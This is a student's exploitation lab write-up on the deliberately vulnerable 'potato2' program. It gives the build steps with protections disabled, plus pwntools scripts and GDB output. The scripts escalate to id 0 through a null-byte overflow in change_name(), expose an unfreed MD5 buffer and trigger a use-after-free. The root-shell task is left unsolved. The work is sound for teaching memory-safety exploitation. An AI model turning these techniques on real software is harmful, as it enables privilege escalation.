Heap Corruption

Student: Philip Magnus

The steps in this writeup were performed on a Kali 2024.4 (x64) system.

Building potato

For the building process the following packages have been installed.

```
$ sudo apt install gcc gcc-multilib glibc-source libc6-dbg:i386 python3-
virtualenv -y
```

To install the *GDB Enhanced Features* suite (GEF) the following `curl` command was used.

```
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
```

Next the source files for potato2 were checked out with its git repository.

```
$ git clone https://github.com/edgecase1/potato2.git
```

Checkout the sources openssl, this is required because we are going to build potato2 as 32 bit binary, therefore the openssl libraries need to be available as 32 bit as well.

```
git clone https://github.com/edgecase1/potato2.git
git clone https://github.com/openssl/openssl.git
cd openssl
./Configure -m32 linux-generic32
make -sj
```

Using the following `Makefile` two 32 bit binaries have been build to run the attacks against in the subsequent steps.

```
# needs to have openssl checked out as sibling folder of potato
# git clone https://github.com/openssl/openssl.git
# and requires installation of gcc multilib
# sudo apt install gcc-multilib for m32

WARN_OPTS=-Wno-deprecated-declarations -Wno-unused-result
SEC_OPTS=-fno-stack-protector -z execstack -no-pie
DEBUG_OPTS=-ggdb3 -O0
```

```
# turn on optimizations to get some ROP gadgets
DEBUG_OPTS_ROP=-ggdb3 -O2
INCLUDES=-Iopenssl/include -I/usr/include -I/usr/include/x86_64-linux-gnu -
Ipotato2/src
DEFINES=-D_FORTIFY_SOURCE=0

CCOPTS = $(WARN_OPTS) $(SEC_OPTS) $(DEBUG_OPTS) $(INCLUDES) $(DEFINES)
# include glibc statically to get additional gadgets
CCOPTS4ROP = -static $(WARN_OPTS) $(SEC_OPTS) $(DEBUG_OPTS_ROP) $(INCLUDES)
$(DEFINES)

CFILES = \
    potato2/src/main.c \
    potato2/src/runr.c \
    potato2/src/sock.c \
    potato2/src/userlist.c \
    potato2/src/func.c \
    potato2/src/login2.c

HFILES = \
    potato2/src/runr.h \
    potato2/src/sock.h \
    potato2/src/user.h \
    potato2/src/userlist.h

.PHONY: clean all

all: potato potato_rop potato_32 potato_rop_32

# binary for usual attacks
potato: $(CFILES) $(HFILES)
    gcc $(CCOPTS) -o potato $(CFILES) -Lopenssl  -lssl -lcrypto

# binary for ROP attack
potato_rop: $(CFILES) $(HFILES)
    gcc $(CCOPTS4ROP) -o potato_rop $(CFILES) -Lopenssl  -lssl -lcrypto

potato_32: $(CFILES) $(HFILES)
    gcc -m32 $(CCOPTS) -o potato_32 $(CFILES) -Lopenssl  -lssl -lcrypto

potato_rop_32: $(CFILES) $(HFILES)
    gcc -m32 $(CCOPTS4ROP) -o potato_rop_32 $(CFILES) -Lopenssl  -lssl -
lcrypto

clean:
    rm -f potato potato_rop potato_32 potato_rop_32
```

The `potato` and `potato_rop` files were built using the `make` command.

```
$ make

gcc -Wno-deprecated-declarations -Wno-unused-result -fno-stack-protector -z
```

```
execstack -no-pie -ggdb3 -O0 -Iopenssl/include -I/usr/include -
I/usr/include/x86_64-linux-gnu -Ipotato2/src -D_FORTIFY_SOURCE=0 -o potato
src/main.c src/runr.c src/sock.c src/userlist.c src/func.c src/login2.c -
Lopenssl  -lssl -lcrypto
gcc -static -Wno-deprecated-declarations -Wno-unused-result -fno-stack-
protector -z execstack -no-pie -ggdb3 -O2 -Iopenssl/include -I/usr/include
-I/usr/include/x86_64-linux-gnu -Ipotato2/src -D_FORTIFY_SOURCE=0 -o
potato_rop src/main.c src/runr.c src/sock.c src/userlist.c src/func.c
src/login2.c -Lopenssl  -lssl -lcrypto
```

The `potato` executables can now be used as follows.

```
$ ./potato

./potato console
./potato server
```

To enable our Python scripts to run attacks against the `potato` binaries as well as starting the debugger and many more QoL features `pwntools` was installed using `pip3`.

```
$ virtualenv venv
$. ./venv/bin/activate
$ pip3 install pwntools
$ git clone https://github.com/cloudburst/libheap
$ pip3 install ./libheap/
```

Overwrite a user (t_user) structure to gain privileges

By analyzing the code we can see that it might be possible to overwrite the currently logged in users information to gain priviledged access. For this the global user struct needs to be overwritten in a specific way.

```
int
is_privileged()
{
    t_user* user = session.logged_in_user;
     if(user->id < 1 || user->gid < 1) // is a root user
     {
          return 1;
     }
     else
     {
          fprintf(stderr, "privileged users only!");
          return 0;
     }
}
```

The `is_priviledged()` function is used to check if a user has the necessary `id` to have priviledged rights. In this example the `id` needs to be `< 1`to gain priviledged access.

A normal user does not have a fitting `id`. We can exploit a weakness in the `change_name()` function. The `strncpy()` function call always appends a `0x00` byte to the end of the string. This byte is known as a null-terminator.

```
void
change_name()
{
    char input_username[USERNAME_LENGTH];

    fprintf(stdout, "What is the name > ");
    //fgets(input_username, sizeof(input_username), stdin);
    fscanf(stdin, "%s", input_username); // TODO security
    input_username[strcspn(input_username, "\n")] = 0x00; // terminator
instead of a newline

    strncpy(session.logged_in_user->name, input_username,
strlen(input_username)+1);
    fprintf(stdout, "Name changed.\n");
}
```

If we take a closer look at the `_user` struct we can see that the `id`is positioned 52 bytes after the beginning of the struct.

In combination with the unsafe `strncpy()` call we can craft a specific payload to set the `id` of our currently logged in user to 0.

```
struct _user
{
     char name[20];
     char password_hash[32]; // md5
     int id;
     int gid;
     char home[50];
     char shell[50];
} typedef t_user;
```

If we provide a long enought string we will overwrite the `name`, `password_hash` and set our `id` to 0. The current users `id` if we are logged in as *peter* is 1000 (represented in hex 0x2710). In our little endian architecture we can see our current `id` represented in memory as `0x10 0x27 0x00 0x00`.

```
gef➤  x/4bx &session->logged_in_user->id
0x8050464:      0x10    0x27    0x00    0x00
```

To check if our theory of the 52 byte space we need to override is correct we check the current address layout in memory.

```
gef➤  p &session->logged_in_user->id
$1 = (int *) 0x8050464
gef➤  p &session->logged_in_user->name
$2 = (char (*)[20]) 0x8050430
gef➤  p 0x8050464 - 0x8050430
$3 = 0x34
```

We can see that the address space we need to overwrite is 0x34 bytes big, which is simply the hex representation of 52 bytes.

If we provide a string of length 52 + 1, strncpy will overwrite the 0x27 byte in memory with 0x00. Subsequently providing a string of length 52, strncpy will overwrite the 0x10 byte with 0x00. We will need to do this in two steps because we can not manually write a 0x00 byte to our desired memory addresses. For this we craft the following script with the needed payloads.

```
#!/usr/bin/env python3

from pwn import *
import sys

elf = ELF("./potato_32")
# context.binary = elf
# context.arch = 'i386'
# context.bits = 32
# context.endian = 'little'
# context.os = 'linux'

p = elf.process(["console"], stdin=PTY, aslr=False) # stdin=PTY for
"getpass" password input
gdb.attach(p, '''
continue
''')

print(p.recvuntil(b"cmd> ")) # username
p.sendline(b"login")
# test user
p.sendline(b"peter")
p.sendline(b"12345")
print(p.recvuntil(b"cmd> ")) # username

p.sendline(b"changename")
payload = b"\x41"*53
p.sendline(payload)

p.sendline(b"changename")
payload = b"\x41"*52
p.sendline(payload)
```

```
p.sendline(b"changename")
payload = b"peter"
p.sendline(payload)

p.interactive()
```

In the first two payloads we overwrite the current `id` with `0x00`. After that in our third payload we change the overwritten `username` back to *peter*.

After executing our attack script and switching to our running `potato` program we can check our `id` and thus the given privileges.

```
cmd> $ whoami
user(name='peter' id=0 gid=10000 home='/home/peter' shell='/usr/bin/rbash')
```

find a memory leak to identify a heap bin or chunk (look at the session and whoami; it's enough to show the chunk or memory location in gdb)

To identify possible memory heap memory leaks we need to identify locations in the given code where memory allocation is not handled correctly.

For quickly identifying possible misshandled allocations of memory we can use the following command.

```
$ rg malloc

login2.c
14:    char *out = (char*)malloc(90); // md5 plus null terminator for snprintf
40:    user = (t_user *) malloc(sizeof(t_user));

userlist.c
104:     t_user_list_element* new_element = (t_user_list_element*) malloc(sizeof(t_user_list_element));
238:    t_user* parsed_user = (t_user *)malloc(sizeof(t_user));
```

We can see that in the `login2.c` file on line 14 there is an allocation of 90 bytes on the heap. Those 90 bytes need to be freed after the function in which they are allocated needs to be freed after usage.

```
char *str2md5(const char *str, int length) {
    int n;
    MD5_CTX c;
    unsigned char digest[16];
    char *out = (char*)malloc(90); // md5 plus null terminator for snprintf

    MD5_Init(&c);
```

```
    while (length > 0) {
        if (length > 512) {
            MD5_Update(&c, str, 512);
        } else {
            MD5_Update(&c, str, length);
        }
        length -= 512;
        str += 512;
    }
    MD5_Final(digest, &c);

    for (n = 0; n < 16; ++n) {
        snprintf(&(out[n*2]), 16*2+1, "%02x", (unsigned int)digest[n]);
    }

    return out;
}
```

In the code we can see that the allocated memory is not freed after usage in the function itself and thus must be freed by the calling function.

Looking into the calling functions `change_password()` and `check_password()` both call the function but are not freeing the allocated memory after its use.

```
void
change_password()
{
    //char* input_password;
    //input_password = getpass("Password: "); fflush(stdout);

    char input_password[PASSWORD_LENGTH];
    fprintf(stdout, "Password: ");
    fgets(input_password, sizeof(input_password), stdin);
    input_password[strcspn(input_password, "\n")] = 0x00; // terminator
instead of a newline

    strncpy(session.logged_in_user->password_hash,
            str2md5(input_password, strlen(input_password)),
        32);
    fprintf(stdout, "Password changed.\n");
}
```

```
int
check_password(t_user* user, char* password)
{
    return (0 == strncmp(
                        user->password_hash,
                str2md5(password, strlen(password)),
```

```
                32)); // md5 length
}
```

This way a memory leak can be caused by a trial login attempt for this it does not matter if the login attempt is successful or not, the digest of the entered password will be leaked. With the following script we set a breakpoint at line 32 in `login2.c` and will check the contents of `out` and subsequently if we can view the allocated memory after the function closes.

```
#!/usr/bin/env python3

from pwn import *
import sys

elf = ELF("./potato_32")
# context.binary = elf
# context.arch = 'i386'
# context.bits = 32
# context.endian = 'little'
# context.os = 'linux'

p = elf.process(["console"], stdin=PTY, aslr=False) # stdin=PTY for
"getpass" password input
gdb.attach(p, '''
break login2.c:32
continue
''')

print(p.recvuntil(b"cmd> "))
p.sendline(b"login")
# test user
p.sendline(b"root")
p.sendline(b"12345")
print(p.recvuntil(b"cmd> "))

p.interactive()
```

Inspecting the value of out when we hit the breakpoint shows us the MD5 digest of the entered password.

```
gef➤  p out
$1 = 0x804f770 "827ccb0eea8a706c4c34a16891f84e7b"
```

After stepping over some instructions and out of the `*str2md5()` function we can examine the allocated memory again.

```
gef➤  x/32bx 0x804f770
0x804f770:      0x38    0x32    0x37    0x63    0x63    0x62    0x30
0x65
```

```
0x804f778:      0x65    0x61    0x38    0x61    0x37    0x30    0x36
0x63
0x804f780:      0x34    0x63    0x33    0x34    0x61    0x31    0x36
0x38
0x804f788:      0x39    0x31    0x66    0x38    0x34    0x65    0x37
0x62
```

Decoding the hex encoded memory contents we will receive the following string `827ccb0eea8a706c4c34a16891f84e7b` which is again the user entered password as a digest.

Thus we can see the allcated memory was never freed and leaked after its use.

gain a shell with root privileges (look at the allocator with ltrace while creating and deleting users)

> NOTE: Could not come up with a solution. One major problem was the insufficient manual to compile the potato2 binaries. I could not see more than one chunk in the debugger, this made further analysis practically impossible.

I can here only give a rudimentary description because I did not complete this task and had to rely on Ernst Schwaigers solution. In his solution he had to comment out the `walk_list()` function call and recompile so `potato2` binaries to make this exploit work. In a real world test scenario where you are given software written by a customer this would not be possible, because you can`t add vulnerabilities to a customers software during testing. This should be self explanatory.

```
void
delete_user()
{
    int id;

    // walk_list(print_list_element);
    fprintf(stdout, "Which one? > ");
    scanf("%d", &id);
    if(!delete_user_by_id(id)) {
         fprintf(stderr, "not found.\n");
    }
}
```

Apparently the program crashes if the `walk_list()` function is not disabled.

According to Ernst it is possible to add a "fake" user_list entry and manipulate the linked list of user_entries in a way that we are pointing the root user to the currently logged in user. Thus gaining root privileges.

Because a manipulation of the code is necessary I do not think this is the intedned solution.

demonstrate a use after free or double free condition in the program

Triggering a *use after free* condition is possible when we are logged in as *peter* and gained privileged access with our initial exploit, overwriting a t_user struct. First we login as the non-privileged user *peter* and exploit the vulnerability in the `change_name()` function to gain privileged access. After that we continue and delete our own user *peter* while being logged in. This will lead to the chunk containing the user data of *peter* to still be referenced from the `session.logged_in_user` variable. If we then invoke the `whoami()` function, a *use after free* condition will be triggered.

The following script executes the described exploit.

```
#!/usr/bin/env python3

from pwn import *
import sys

elf = ELF("./potato")
# context.binary = elf
# context.arch = 'i386'
# context.bits = 32
# context.endian = 'little'
# context.os = 'linux'

p = elf.process(["console"], stdin=PTY, aslr=False) # stdin=PTY for
"getpass" password input
gdb.attach(p, '''
break userlist.c:88
break func.c:216
continue
''')

print(p.recvuntil(b"cmd> ")) # username
p.sendline(b"login")
# test user
p.sendline(b"peter")
p.sendline(b"12345")
print(p.recvuntil(b"cmd> ")) # username

p.sendline(b"changename")
payload = b"\x41"*53
p.sendline(payload)

p.sendline(b"changename")
payload = b"\x41"*52
p.sendline(payload)

p.sendline(b"changename")
payload = b"peter"
p.sendline(payload)

p.sendline(b"delete")
p.sendline(b"2")

p.sendline(b"whoami")

p.interactive()
```

Whilst stopping at the first breakpoint (`userlist.c:88`) we can inspect the `element->user` that is supposed to being freed in this step. We can verify that indeed the chunk of *peter* is going to be freed.

```
gef➤  p element->user
$1 = (t_user *) 0x8050430

gef➤  p *element->user
$9 = {
  name = "peter\000", 'A' <repeats 14 times>,
  password_hash = 'A' <repeats 32 times>,
  id = 0x0,
  gid = 0x2710,
  home = "/home/peter", '\000' <repeats 38 times>,
  shell = "/usr/bin/rbash", '\000' <repeats 35 times>
}
```

Stopping at the next breakpoint in the `whoami()` function we can inspect the `session.logged_in_user` variable. Here we can clearly see that the already freed chunk for the user *peter* is still referenced in this variable. The function will read, i.e. "use" this chunk, thus giving us a _use after free_condition.

```
gef➤  p session.logged_in_user
$4 = (t_user *) 0x8050430

gef➤  p *session.logged_in_user
$3 = {
  name = "P\200\000\000 .M\256", 'A' <repeats 12 times>,
  password_hash = 'A' <repeats 32 times>,
  id = 0x0,
  gid = 0x2710,
  home = "/home/peter", '\000' <repeats 38 times>,
  shell = "/usr/bin/rbash", '\000' <repeats 35 times>
}
```